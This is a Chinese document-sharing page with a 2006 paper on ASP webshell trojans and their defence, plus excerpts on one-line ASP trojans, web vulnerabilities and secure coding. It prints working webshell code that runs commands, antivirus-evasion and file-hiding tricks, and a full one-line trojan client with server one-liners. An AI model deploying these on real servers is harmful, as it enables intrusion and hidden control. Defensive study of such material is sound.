当前位置：文档之家 › Asp木马漏洞安全防范策略

Asp木马漏洞安全防范策略

  • 格式：pdf
  • 大小：110.79 KB
  • 文档页数：4

第28卷　第1期河北理工学院学报Vol128　No11 2006年2月Journa l of Hebe i I n stitute of Technology Feb.2006文章编号:100722829(2006)0120064204A s p木马漏洞安全防范策略陈小兵,于　滨(北京航空航天大学软件学院,北京100083)关键词:A s p木马;漏洞;安全防范策略摘　要:利用A s p木马漏洞技术是目前入侵网站的主流技术之一,该技术主要利用A s p脚本来执行c md.exe命令,从而达到控制操作系统的目的。

一旦入侵者在所攻克的网站中植入了A s p木马后,则可以使用常用的DOS命令来对系统文件进行删除、复制等操作,给该系统带来巨大的安全隐患。

通过对目前主流的A s p木马核心技术的分析,然后给出了A s p木马漏洞安全防范的一般性策略。

中图分类号:TP393.08　文献标识码:A1　A s p木马核心技术分析A s p木马技术目前主要有两种,一种是利用FS O技术,另外一种利用App licati on.shell脚本技术。

FS O 是对Filesyste mObject的简称,II S4以及后续版本中的A s p的文件操作都可以通过FileSyste mObject实现,包括文本文件的读写目录操作、文件的拷贝改名删除等。

FileSyste mObject带来方便的同时,也具有非常大的风险性,利用FileSyste mObject可以篡改并下载Fat以及F AT32分区上的任何文件,即使是ntfs,如果没有对权限进行很好的设置,同样也能遭到破坏。

1.1　使用FS O技术的as p木马利用FS O技术的as p木马程序的算法:(1)从as p页面获取输入的Dos命令。

(2)创建W SCP I PT.SHELL、W SCR I WORK和Scri p ting.FileSyste mObject三个脚本对象。

(3)执行DOS命令解释器并执行所输入的DOS命令,并将DOS命令所执行结果输出到一个临时文件。

(4)打开临时文件并将其结果回显在网页上,最后删除临时文件。

其核心代码如下:……Set oScri p t=Server.Create Object("W SCR I PT.SHE LL")Set oScri p t N et=Server.Create Object("W SCR I WORK")Set oFileSys=Server.Create Object("Scri p ting.FileSyste mObject")sz C MD=Request.For m(".C MD") I f(sz C MD<>"")Then szTe mpFile="C:/"&oFileSys.GegtTe mpNa me()Call oScri p t.Run("c md.exe/c"&sz C MD&">"&szTe mpFile,0,Ture)’使用Run方法创建一个新的进程,隐藏窗口并激活另一窗口,返回由应用程序返回的任何错误代码。

Set oFile=oFileSys.OpenTextFile(szTe mpFile,1,False,0)’打开临时文件azTempFileEnd I f收稿日期:2005203220 作者简介:陈小兵,男,北京航空航天大学软件学院硕士生。

……I f (Is Object (oFile ))ThenRes ponse .W rite Server .HT MLEncode (oFile .Read A ll )’在网页上输出命令执行的结果oFile .Cl oseCall oFileSys .DeleteFile (szTe mpFile,True )’删除临时文件szTe mpFileEnd I f ……1.2　非FS O 技术的as p 木马不使用FS O 技术的ASP 木马是创建一个Shell .App licati on 对象,然后通过shell .na mes pace 来对创建的对象进行操作。

通过使用该种方法虽然不能执行net 、del 以及netstat 等命令,但是它可以复制、浏览、移动文件夹以及执行系统中存在的特定程序。

不过在每执行一次应用程序时都会打开一个进程,而且可能会报错,通过任务控制器可以查看其打开的进程。

其核心代码如下:……sz C MD1=Request .For m ("text1")’目录拷贝,不能进行文件拷贝sz C MD2=Request .For m ("text2")if szc md1<>""and szc md2<>""thenset shell1=server .createobject ("shell .app licati on")’建立shell 对象set fod1=shell1.ne mepace (szc md2)f or i =len (szc md1)t o 1step -1if m id (szc md1,i,1)="\"then path =left (szc md1,i -1) exit f orend ifnextif len (path )=2then path =path &"\"path2=right (szc md1,len (szc md1)-i )set fod2=shell1.na mes pace (path )set fodite m =f od2.parsena me (path2)f odl .copyhere f odite mend ifsz C MD5=Request .For m ("text5")’执行程序到指定路径sz C MD6=Request .For m ("text6")if szc md5<>""and szc md6<>""thenset she113=server .createobject ("shell .app licati on"’建立shell 对象she113.na mes pace (szc md5).ite m s .ite m (szc md6).invokeverbend if……2　as p 木马防毒技术在攻克主机植入as p 木马后,为了保护好自己的战利品,防止系统管理员发现,黑客一般情况下都会对as p 木马进行保护,往往通过加密、更改时间以及使用特殊字符等手段来逃过被杀毒软件的查出和避免系统管理员的发现。

2.1　利用软件对as p 源代码加密目前有很多软件可以对as p 源代码进行加密,例如as p 木马免杀工具2.0等。

其原理是采用一定的算法将源代码或者源代码中的关键字进行某种转换,经过转换后,源代码已经变为乱码或者显示为特定的字符形56　第1期 陈小兵,等:A s p 木马漏洞安全防范策略66 河　北　理　工　学　院　学　报 第26卷　式。

2.2　修改asP木马文件的时间as p木马上传到服务器后,即使非常隐蔽,但是其文件修改时间的变化在正常文件中也很容易被发现,因此通过修改木马源程序文件的修改时间跟在服务器上的正常文件的时间一致来保护在网站所植入的木马程序。

2.3　利用特殊字符“\”来保护as p木马W indows在设计时已经考虑到不能使用“\”来作为文件及其文件夹的名字,但是在使用c md.exe命令来创建文件时,如果其文件名中包含了“\”,则该文件名中的“\”将被忽略,但是所建立的文件夹还是会成功,只是不会显示“\”,且在浏览器中既不能打开,也不能够被删除。

利用“\”字符来保护as p木马文件的原理为:在II S设置的目录下创建一个形入“a…\”的文件夹,然后将木马文件复制到该文件夹中。

复制成功后,可以在浏览其中输入其地址正常运行as p木马程序,而该文件而既不能被删除也不能被打开。

3　常见的as p木马程序和软件3.1　海阳顶端网as p木马在众多的as p木马中,海阳顶端网as p木马应该是比较成熟的,也是用得最多的as p木马,就其版本而言,到目前为止已经推出了数个版本。

早期的海阳顶端网as p木马一般都有数个as p文件,后期的as p木马把所有的文件都集成到一个文件中了,例如xp版和xp-net版集成后的文件大小也就二十多k。

海阳顶端网as p木马是用as p脚本语自编写,提供在线更改。

编辑、删除仟意文件,使用该木马来操作文件就如同在本机上操作文件一样方便。

3.2　as p木马免杀工具2.0as p木马免杀工具2.0是一款对as p源代码进行加密的工具,大小仅545k。

利用该软可以方便的对as p 木马文件进行加密,加密后的文件目前可以躲过瑞星等杀毒软件的查杀。

3.3　思易ASP木马追捕2.0思易ASP木马追捕2.0主要对文件中是否存在FS O、deletef older、shell.app lecatl on、wscri p t、x m lhttP、vb2 scri p t.encode、adodb.strea m对象或者使用了其中的某些方法进行检查,可以对利用变量创建对象、静态对象以及自定义的关键字等进行搜索。

不过该程序当对较大文件的检索可能导致II S停止响应,甚至可能导致服务器宕机。

4　ASP木马安全防范策略A s p木马安全防范策略是建立在操作系统的安全基础上的,通过在实践中的应用研究和分析,可以采用以下策略来防止和根除ASp木马。

4.1　升级论坛程序到最新版本许多as p木马程序都是通过发现论坛程序中的漏洞而将as p木马程序植入的,因此要及时的关注所使用的论坛程序并更新论坛程序,打上论坛程序补丁。

4.2　尽量不安装插件在网站设计时,如果没有特别的需要,尽量避免安装第三方插件。

如果安装了一定要设置好权限并有相应的安全措施。

4.3　定期检查网站文件网站或者系统管理员应定期全面检查网站文件,及时发现和排除可疑文件,保障系统的安全。

网站正式运行时,应当使用一些屏幕捕捉工具软件一次性将文件目录及其文件属性(名称、大小、文件类型、修改时间等)记录下来并及时备份网站程序,便于后期维护时检查网站更新文件的修改时间,通过比较修改时间来检查是否有非法用户上传文件,从而检查网站是否存在as p木马。

合集下载

ASP的网站设计安全防范问题研究

ASP的网站设计安全防范问题研究

ASP的网站设计安全防范问题研究摘要：目前，用于网页设计的开发工具很多，而asp （activeserver pages）作为一种典型的服务器端网页设计技术，它将脚本、超文本和强大的数据库访问功能融合在一起，集简单性、高效性和易扩展性于一身。

所以互联网上基于它的免费源码非常之多，许多企事业单位将其下载直接用作自己的网站，也就出现了一个源码有漏洞，成百上千个网站被波及的现象，也有一些程序员缺乏对于asp网站后台入侵原理及其手段的了解，设计的网站存在重大的安全隐患。

关键词：asp；网站安全；安全漏洞；防范策略中图分类号：tp393.092 文献标识码：a 文章编号：1674-7712 （2013） 04-0080-01随着互联网的迅速发展，为了能更好地更充分地使用好互联网这个世界上最大的交流平台，许多单位竞相建设了自己的网站。

在web 数据库访问的多种技术中，asp以其开发周期短、存取数据库方便、执行效率高而成为众多网站程序员的首选开发技术。

一、asp在网络安全上的优点asp脚本是使用vbscript，javascript或jscript脚本语言编写的，与标准html页面混合在一起的脚本所构成的文本格式的文件。

当web浏览器向web服务器发出http请求，访问asp文件时，web 服务器判断出该请求的asp文件含有“”后，调用asp。

dll，进行语法分析、解释执行，然后将最终结果转换成为标准的html格式内容，返回给web浏览器，由web浏览器显示。

这是一次完整的asp 执行过程。

asp在网络安全方面主要有以下优点：（一）不泄漏源代码相比客户端执行的javascript程序，asp在网络安全上的优点之一是用户不能看到asp源程序。

因为传到浏览器端的只是转换成html语言的结果。

这一点既维护了asp开发人员的版权，又维护了网站系统的安全。

（二）支持虚拟目录虚拟目录的建立在网络安全上有重要意义。

因为虚拟目录方式可以隐藏站点目录结构。

全面详尽剖析一句话asp木马

全面详尽剖析一句话asp木马

全面详尽剖析一句话asp木马所谓一句话插马，就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。

它分为一句话asp马、一句话php马……，本文就一句话asp木马来做一次详尽的剖析。

在此首先要感谢前辈们的探究！一：基础篇首先我们看一下最常用的一句话木马客户端的代码<html><head><title>一句话客户端</title><style type="text/css"><!--body {background-color: #FFFFFF;}.lygf {border: 1px solid #660069;font-size: 12px;}--></style></head><body><table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0"><tr><td height="1" width="794"><form name="lygf" method="post"><input name="add" type="text" id="add" size="97" value="http://"><input type="submit" value="枫" onClick="this.form.action=this.form.add.value;"><input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")"></td></tr><tr><td height="100" width="794"><textarea name="*" cols="100" rows="9" width="45">set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("lygf")lP.SaveToFile server.mappath("fk.asp"),2lP.Closeset lP=nothingresponse.redirect "fk.asp"</textarea></td></tr><tr><td height="1" width="794"><textarea name="lygf" cols="100" rows="15" width="45">写入你的大马</textarea></td></tr><tr><td width="794" height="7"><font color="#000000">提供六个服务端:</font><br>1. <%eval request("fk")%><br>2. <%execute request("fk")%><br>3. <%execute(request("fk"))%><br>4. <%On Error Resume Next%><%eval request("fk")%><br>5. <script language=VBScript runat=server>execute request("fk")</Script> <br>6. <script language=VBScript runat=server>eval request("fk")</Script><br><br>By 冷月孤枫枫客:/ ... t;/font><br></td></tr></table></body></html>把上面的代码另存为htm的格式后就可以使用了，具体的使用说明在网页上可以看到下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了)：<title>一句话客户端</title> 显示在浏览器标题栏上面的文字，你可以自己更改<style type="text/css"><!--body {background-color: #FFFFFF; 背景颜色}.lygf {border: 1px solid #660099; 边框属性font-size: 12px; 字体大小}--> 本页面所要用到的样式<form name="lygf" method=post> 创建一个form对象，其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form，以post方式提交给下面的连接，而不是get，用post提交IIS 是不记入日志的<input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add)，长度是97个字节，value=是默认的内容<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit)，后面的部分是把上面value的值赋给form去post<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域，把fk与下面name的值*关联，用session保存代码然后执行,这句借用了海洋的客户端，不过那样不怎么好用<textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。

网站常见三种漏洞攻击及防范方法[试题]

网站常见三种漏洞攻击及防范方法[试题]

国内外黑客组织或者个人为牟取利益窃取和篡改网络信息，已成为不争的事实，在不断给单位和个人造成经济损失的同时，我们也应该注意到这些威胁大多是基于Web网站发起的攻击，在给我们造成不可挽回的损失前，我们有必要给大家介绍几种常见的网站漏洞，以及这些漏洞的防范方法，目的是帮助广大网站管理者理清安全防范思绪，找到当前的防范重点，最大程度地避免或减少威胁带来的损失。

1、SQL语句漏洞也就是SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击。

有效防范手段：对于SQL注入问题的一般处理方法是账户最小权限原则。

以下几种方法推荐使用：对用户输入信息进行必要检查对一些特殊字符进行转换或者过滤使用强数据类型限制用户输入的长度需要注意：这些检查要放在server运行，client提交的任何东西都是不可信的。

使用存储过程，如果一定要使用SQL语句，那么请用标准的方式组建SQL 语句。

比如可以利用parameters对象，避免用字符串直接拼SQL命令。

当SQL 运行出错时，不要把数据库返回的错误信息全部显示给用户，错误信息经常会透露一些数据库设计的细节。

2、网站挂马挂马就是在别人电脑里面(或是网站服务器)里植入木马程序，以盗取一些信息或者控制被挂马的电脑做一些不法的勾当(如攻击网站，传播病毒，删除资料等)。

网页挂马就是在网页的源代码中加入一些代码，利用漏洞实现自动下载木马到机器里。

网站挂马的形式可分为框架挂马、数据库挂马、后台挂马、服务器挂马以及其他形式的挂马方式。

有效防范手段：要防止网站被挂马，可以采取禁止写入和目录禁止执行的功能，这两项功能相组合，就可以有效地防止 ASP木马。

此外，网站管理员通过FTP上传某些数据，维护网页时，尽量不安装asp的上传程序。

安全编码的常见漏洞和防范措施

安全编码的常见漏洞和防范措施

安全编码的常见漏洞和防范措施在当今数字化时代，安全编码已经成为软件开发中不可或缺的一环。

然而，即使是经验丰富的开发人员也难免会犯一些常见的安全编码漏洞。

本文将探讨一些常见的安全编码漏洞，并提供相应的防范措施。

一、跨站脚本攻击（XSS）跨站脚本攻击是一种常见的安全漏洞，攻击者通过在网页中注入恶意脚本来获取用户的敏感信息。

为了防范XSS攻击，开发人员可以采取以下措施：1. 输入验证：对用户输入的数据进行验证和过滤，确保只接受合法的输入。

2. 输出编码：在将用户输入的数据输出到网页时，进行适当的编码，以防止恶意脚本的执行。

3. 使用安全的API：避免使用容易受到XSS攻击的API，例如使用innerHTML 而不是innerText来操作DOM。

二、SQL注入攻击SQL注入攻击是指攻击者通过在用户输入的数据中注入恶意SQL语句来获取数据库中的敏感信息。

为了防范SQL注入攻击，开发人员可以采取以下措施：1. 参数化查询：使用参数化查询来处理用户输入的数据，而不是将用户输入的数据直接拼接到SQL语句中。

2. 输入验证和过滤：对用户输入的数据进行验证和过滤，确保只接受合法的输入。

3. 最小权限原则：确保数据库用户只拥有最低限度的权限，以减少攻击者获取敏感信息的可能性。

三、跨站请求伪造（CSRF）跨站请求伪造是一种利用用户已登录的身份执行恶意操作的攻击方式。

为了防范CSRF攻击，开发人员可以采取以下措施：1. 添加CSRF令牌：在每个表单和请求中添加一个随机生成的CSRF令牌，并在服务器端验证该令牌的有效性。

2. 验证来源：在服务器端验证请求的来源是否合法，例如检查Referer头部的值。

3. 使用POST请求：将敏感操作限制为使用POST请求，并在服务器端验证请求的方法是否为POST。

四、不安全的身份验证和会话管理不安全的身份验证和会话管理可能导致攻击者冒充合法用户或者劫持用户的会话。

为了防范这类攻击，开发人员可以采取以下措施：1. 使用加密算法存储密码：不要明文存储用户的密码，而是使用适当的加密算法进行存储。